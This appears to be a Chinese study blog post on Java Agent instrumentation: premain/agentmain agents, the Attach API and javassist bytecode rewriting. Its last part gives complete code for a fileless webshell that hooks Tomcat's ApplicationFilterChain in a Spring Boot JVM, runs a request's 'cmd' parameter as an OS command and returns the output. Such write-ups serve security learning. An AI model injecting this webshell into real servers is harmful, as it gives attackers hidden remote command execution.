Java Agent介绍
官方文档:https://docs.oracle.com/javase/10/docs/api/java/lang/instrument/package-summary.html
java agent就是一种能够在不影响正常编译的情况下,修改java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。也就是平时所说的插桩技术,平常的热部署、诊断工具都是基于Java Agent技术来实现的。该技术从JDK1.5开始引入。
Java Agent使用
Java Agent分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动后加载的agentmain-Agent,有点类似特殊的拦截器的样子。
premain-Agent
实现该Agent首先我们必须实现一个静态premain方法,同时我们jar文件的清单(mainfest)中必须要有Premain-Class属性,也就是jar包中常见到的MF文件,这从官方文档中可以得知
可以知道,就是在执行main方法前执行我们的premain方法,执行的类就是我们Premain-Class属性的值
现在来实现一个简单的premain-Agent,先正常maven创建一个普通的项目
package org.example.Agent;
import java.lang.instrument.Instrumentation;
public class premainAgent { public static void premain(String agentArgs, Instrumentation inst) { for(int i=0;i<10;i++){ System.out.printf("调用了JavaAgent%d次\n",i); } } }
|
接着在 resources/META-INF/
下创建 MANIFEST.MF
清单文件用以指定 premain-Agent
的启动类
Manifest-Version: 1.0 Premain-Class: org.example.Agent.premainAgent
|
要注意该文件最后一定要多一个换行,不然会爆红
目前的目录结构如下:
然后我们将该文件打成jar包,这里记录两种打包方式
用jar命令打包
打包前我们需要将java文件替换成我们编译好的class文件,因为jar命令就只是将文件打包成一个jar,并不会进行编译,而jar包的文件想要被JVM识别就需要是class文件
然后对src目录的所有文件打包
D:\CTF\Java\JavaCode\JavaAgent\src\main>jar cvfm ..\..\agent.jar resources/META-INF/MANIFEST.MF ..\..\src
|
参数说明: c:创建新的 JAR 文件。 v:生成详细输出,以便查看正在执行的操作。 f:指定 JAR 文件的名称。 m:指定 MANIFEST.MF 文件的位置。
|
然后就能看到我们的agent.jar包了,我看文章也可以直接指定单一class文件打成jar包,例如这样
jar cvfm ..\..\agent1.jar resources/META-INF/MANIFEST.MF java\org\example\Agent\ premainAgent.class
|
这种打包方式会自动给你创建必要的包路径,对比了一下两种打包方式,目录结构如下
指定class文件打包的就是直接从java包开始创建,只创建寻找类的必要的包
而指定目录的方式就会从我们指定的目录开始打包,都会包括进去
顺便也记录一下有关jar会用的上的其他命令:
使用idea打包
这种方式不需要提前编译,他在build的时候就会帮我们编译
我们选择选择Project Structure
-> Artifacts
-> JAR
-> From modules with dependencies
然后选择选择Build
-> Build Artifacts
-> Build
然后就可以在out目录看到我们生成的jar包了
现在我们的agent类已经创建好了,我们需要再创建一个新的目标类
package org.example;
public class Main { public static void main(String[] args) { System.out.println("Hello world!"); } }
|
同样使用MF来打包,创建一个MF文件
Manifest-Version: 1.0 Main-Class: org.example.Main
|
然后打成jar包
现在我们就得到两个jar包
然后我们只要添加一个参数就能应用agent.jar包,格式在官方文档也有,如下:
-javaagent:<jarpath>[=<options>] # options是传递给代理的参数,premain的agentArgs字段就是用来接受参数的
|
现在执行下面命令运行
java -javaagent:agent.jar -jar TestAgent.jar
|
agentmain-Agent
agentmain-Agent就是能够在JVM启动后加载并修改字节码
编写该类需要实现agentmain方法
package org.example.Agent;
import java.lang.instrument.Instrumentation;
import static java.lang.Thread.sleep;
public class agentmainAgent { public static void agentmain(String args, Instrumentation inst) throws Exception{ while (true){ System.out.println("调用了agentmain-Agent!"); sleep(3000); } } }
|
同样写一个MF文件
Manifest-Version: 1.0 Agent-Class: org.example.Agent.agentmainAgent
|
然后写一个一直运行的目标类方便观察结果
package org.example;
import static java.lang.Thread.sleep;
public class Main { public static void main(String[] args) throws Exception { while (true){ System.out.println("Hello World!"); sleep(5000); } } }
|
但是agentmain就不是通过命令行指定参数的形式启动了,官方为了实现启动后加载,提供了Attach API
。Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach
包里面。
这两个类为com.sun.tools.attach.VirtualMachine
类和com.sun.tools.attach.VirtualMachineDescriptor
类
这两个类在tools.jar包中,可能要手动添加一下jar包,因为我在jdk8u65测试的时候他没有自动引入
VirtualMachine
该类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。
我们可以通过给该类的attach方法传入一个JVM的PID,然后远程连接到该JVM上,之后就可以对该JVM及进行操作,比如注入agent就是以这种形式
下面是该类的主要方法
//允许我们传入一个JVM的PID,然后远程连接到该JVM上 VirtualMachine.attach() //向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理 VirtualMachine.loadAgent() //获得当前所有的JVM列表 VirtualMachine.list() //解除与特定JVM的连接 VirtualMachine.detach()
|
使用其中一个方法试试
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
public class Test { public static void main(String[] args) { for (VirtualMachineDescriptor virtualMachineDescriptor : VirtualMachine.list()) { System.out.println(virtualMachineDescriptor); }
} }
|
VirtualMachineDescriptor
该类就是一个描述特定虚拟机的类,从前面list方法获取的返回值也能知道,他就代表一个虚拟机,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。
我们可以测试一下
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
public class Test { public static void main(String[] args) { for (VirtualMachineDescriptor virtualMachineDescriptor : VirtualMachine.list()) { System.out.println(virtualMachineDescriptor); System.out.println(virtualMachineDescriptor.displayName()); System.out.println(virtualMachineDescriptor.id()); } } }
|
注入agent
现在知道了这两个类我们就可以进行注入了
同样的我们前面的agent要打成jar包,然后我们还要写一个inject类用于注入
package org.example;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Inject { public static void main(String[] args) throws Exception{ List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list) { if (vmd.displayName().equals("org.example.Main")) { VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("D:\\CTF\\Java\\JavaCode\\JavaAgent\\JavaAgent.jar"); virtualMachine.detach(); } } } }
|
然后先将目标类运行起来,一段时间后开启我们的inject类
可以看到成功注入目标类中
Instrumentation实例
Instrumentation介绍
在实现agent的方法的时候,我们发现除了参数的接受,他还有另一个Instrumentation类型的参数,该类在java.lang.instrument包下,那么什么是Instrumentation呢
Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。
Instrumentation是一个接口,其常用方法如下:
public interface Instrumentation { void addTransformer(ClassFileTransformer transformer, boolean canRetransform); void addTransformer(ClassFileTransformer transformer); boolean removeTransformer(ClassFileTransformer transformer); void retransformClasses(Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass(Class<?> theClass); @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); long getObjectSize(Object objectToSize); }
|
Instrumentation使用
我们修改一下前面的agentMain来试一试Instrumentation的功能,我们给目标类添加一个ClassFileTransformer类转换器
ClassFileTransformer接口下只有一个transform方法,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在 java agent 内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与 addTransformer 搭配使用。
目标类
package org.example;
import static java.lang.Thread.sleep;
public class Main { public static void main(String[] args) throws Exception { while (true){ Hello(); sleep(5000); } } public static void Hello(){ System.out.println("Hello World!"); } }
|
然后是改一下我们的agentMain
package org.example.Agent;
import java.lang.instrument.Instrumentation;
import static java.lang.Thread.sleep;
public class agentmainAgent { public static void agentmain(String args, Instrumentation inst) throws Exception{ Class[] allLoadedClasses = inst.getAllLoadedClasses(); for(Class cls : allLoadedClasses){ if (cls.getName().equals("org.example.Main")){
inst.addTransformer(new TestTransform(),true); inst.retransformClasses(cls); } } while (true){ System.out.println("调用了agentmain-Agent!"); sleep(3000); } } }
|
然后是我们的ClassFileTransformer,这里用javassist来修改类
<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency>
|
package org.example.Agent;
import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class TestTransform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try { ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); }
CtClass ctClass = classPool.get("org.example.Main"); System.out.println(ctClass);
CtMethod ctMethod = ctClass.getDeclaredMethod("Hello"); String body = "{System.out.println(\"Hacker!\");}"; ctMethod.setBody(body); byte[] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null; } }
|
我们的MF文件需要修改成如下
Manifest-Version: 1.0 Agent-Class: org.example.Agent.agentmainAgent Can-Redefine-Classes: true Can-Retransform-Classes: true
|
然后直接用maven打jar包
maven打成jar包有一个坑点,他会默认替换你的MF文件变成这样
我们可以手动替换一下jar包里面的MF文件,或者我们可以配置一下maven的打包插件让他自动生成MF文件
<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jar-plugin</artifactId> <version>3.1.0</version> <configuration> <archive> <manifest> <addClasspath>true</addClasspath> </manifest> <manifestEntries>
<Agent-Class>org.example.Agent.agentmainAgent</Agent-Class> <Can-Redefine-Classes>true</Can-Redefine-Classes> <Can-Retransform-Classes>true</Can-Retransform-Classes> </manifestEntries> </archive> </configuration> </plugin> </plugins> </build>
|
现在再打包就有需要的属性了
最后编写Agent的注入类
package org.example;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Inject { public static void main(String[] args) throws Exception{ List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list) { if (vmd.displayName().equals("org.example.Main")) { VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("D:\\CTF\\Java\\JavaCode\\JavaAgent\\JavaAgent-1.0-SNAPSHOT.jar"); virtualMachine.detach(); } } } }
|
运行效果如下:
不过如果想要用javassist来修改的话,目标类也需要引入javassist依赖才行,不然会报错
Instrumentation的局限
premain 和 agentmain 两种方式修改字节码的时机都是类文件加载之后,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换 (Class Transform),类转换其实最终都回归到类重定义 Instrumentation#redefineClasses
方法,此方法有以下限制:
- 新类和老类的父类必须相同
- 新类和老类实现的接口数也要相同,并且是相同的接口
- 新类和老类访问符必须一致。
- 新类和老类字段数和字段名要一致
- 新类和老类新增或删除的方法必须是 private static/final 修饰的
- 可以修改方法体
Java Agent实现Spring Filter内存马
因为springboot内置了Tomcat服务,所以我们找到Filter链中一定会执行的方法,然后重写他即可
他的流程为ApplicationFilterChain#doFilter==》ApplicationFilterChain#internalDoFilter
这两个方法都能够拿到ServletRequest 和 ServletResponse,而且hook不会影响正常业务逻辑
所以我们重写ApplicationFilterChain#internalDoFilter或者doFilter方法来打入内存马即可
编写agent内存马
照例先实现一个ClassFileTransformer,这里的ServletRequest需要我们自己去源码看一下具体是什么类,这里是jakarta.servlet.ServletRequest
package org.example.Agent;
import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class FilterTransform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); }
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); System.out.println(ctClass);
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter"); String body = "{" + "jakarta.servlet.ServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }"+ "}"; ctMethod.setBody(body); byte[] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null; } }
|
agentmain
package org.example.Agent;
import java.lang.instrument.Instrumentation;
public class agentmainAgent { public static void agentmain(String args, Instrumentation inst) throws Exception{ Class[] allLoadedClasses = inst.getAllLoadedClasses(); for(Class cls : allLoadedClasses){ if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){ inst.addTransformer(new FilterTransform(),true); inst.retransformClasses(cls); } } } }
|
MF文件就和前面一样,这里就不再写出来了
最后是Inject类
package org.example;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Inject { public static void main(String[] args) throws Exception{ List<VirtualMachineDescriptor> list = VirtualMachine.list(); System.out.println(list); for(VirtualMachineDescriptor vmd : list) { if (vmd.displayName().equals("org.example.dev.DevApplication")) { VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("D:\\CTF\\Java\\JavaCode\\JavaAgent\\JavaAgent-1.0-SNAPSHOT.jar"); System.out.println("成功插入agent"); virtualMachine.detach(); } } } }
|
这里还有一个很坑的点,就是版本问题,我们的javaagent的jar包和inject类都需要是符合目标的jdk版本的,估计是低版本不能向高版本注入的问题
现在我们吧springboot服务开起来,然后启动inject注入agent就可以打入内存马了
我看有些文章可以将inject类写成jar包,传入vm的pid和agent的jar包参数就能命令行执行了,不过需要相关的内存工具来获取pid才行。
agent内存马回显问题
这里的简单内存马不带回显感觉不方便,我又去网上找了一下有回显的写法,ClassFileTransformer就可以改成下面这样
参考这篇文章:https://sec.1i6w31fen9.top/2023/09/24/javaagent-memory-trojan/
package org.example.Agent;
import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class FilterTransform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); }
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); System.out.println(ctClass);
CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter"); String body = "{" + "jakarta.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd!=null){\n" + "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" + "java.io.PrintWriter writer = $2.getWriter();" + "java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter(\"\\\\A\");" + "String result = scanner.hasNext()?scanner.next():\"\";" + "scanner.close();writer.write(result);" + "writer.flush();writer.close();\n" + " }else{internalDoFilter($1,$2);}"+ "}"; ctMethod.setBody(body); byte[] bytes = ctClass.toBytecode(); ctClass.detach(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null; } }
|
emmm但是有个很奇怪的问题,他每次请求完就会卡住,然后就报下面的错误:
意思是JVM在运行的时候找不到类的定义,这就很奇怪了,然后试了很多其他的操作发现都是报这个错误,只有前面那个简单的内存马能通,不知道为什么
我直接copy了他的整个doFilter方法也不行红温了😡
fuck我改了一晚上终于行了,这是成功的版本
package org.example.Agent;
import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class FilterTransform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); }
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); System.out.println(ctClass);
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter"); String body="{" + "final jakarta.servlet.ServletRequest req = $1;\n" + "final jakarta.servlet.ServletResponse res = $2;\n" + "try {\n" + "String cmd=req.getParameter(\"cmd\");\n" + "if (cmd!=null){\n" + "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" + "java.io.PrintWriter writer = res.getWriter();" + "java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter(\"\\\\A\");" + "String result = scanner.hasNext()?scanner.next():\"\";" + "scanner.close();writer.write(result);" + "writer.flush();writer.close();\n" + "internalDoFilter(req, res);\n" + "return null;\n" + "}\n"+ "} catch (java.lang.Exception pe) {\n" + "}\n" + "}"; ctMethod.setBody(body); byte[] bytes = ctClass.toBytecode(); return bytes; }catch (Exception e){ e.printStackTrace(); } return null; } }
|
结果只需要比前面那个多一段**internalDoFilter(req, res);**方法的调用就可以了,我估计是不调用该方法调用链就会直接断掉,导致我发请求就卡在那里不动
而且这种方法写如果弹计算器的话他会弹五次,说明他调用链中走了五次doFilter方法
参考
https://drun1baby.top/2023/12/07/Java-Agent-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/
https://xz.aliyun.com/t/9450?u_atoken=bf936a9b17ff00a7cb14f93f2e5272de&u_asig=1a0c384b17302758676971458e00f7&time__1311=iq0hYKAIqjOD7DloNGkDulDRibGCbbUnt%2BteD
https://www.cnblogs.com/rickiyang/p/11368932.html